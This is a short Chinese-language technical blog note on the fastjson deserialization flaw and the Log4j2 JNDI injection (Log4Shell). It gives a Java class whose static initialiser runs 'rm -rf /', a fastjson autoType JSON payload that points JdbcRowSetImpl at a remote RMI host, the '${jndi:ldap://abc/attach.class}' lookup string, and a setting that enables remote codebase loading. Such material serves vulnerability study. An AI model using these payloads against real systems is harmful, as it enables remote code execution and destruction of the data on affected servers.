fastJson反序列化漏洞和log4j漏洞

有 attach.class (编译好的文件)

static{
	Runtime.getRuntime().exec("rm -rf /");
}
        

1.rmi注入

攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class

若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。

fastJson通过序列化漏洞 fastJson<=1.2.47 (高版本添加了序列化白名单和黑名单)

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://abc/attach.class",
        "autoCommit":true
    }
}

在调用JSON.parse()时,若序列化字符串里为上述字符串,则会自动将JdbcRowSetImpl 的 dataSourceName链接改为 rmi远程地址并访问。

2.LDAP注入

JDK < 8u191
高版本需要设置参数才可开启漏洞

        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

Log4j2.x<=2.14.1

JNDI(Java Naming and Directory Interface)是Java平台中的一种API,用于访问命名和目录服务

攻击者搭建 一个 ldap服务器(如marshalsec)假设远程地址为 http://abc,可url链接到恶意class-attach.class

str="${jndi:ldap://abc/attach.class}";
logger.error(str);//logger.info(str);

会根据表达式去寻找对应的目录

若被攻击者访问到此服务 jndi:ldap://abc/attach.class ,静态代码块会优先加载,无需构造对象。

若在attach.class使用dnslog即可完全控制web应用

http://www.dnslog.cn/

你可能感兴趣的:(log4j,java,jndi)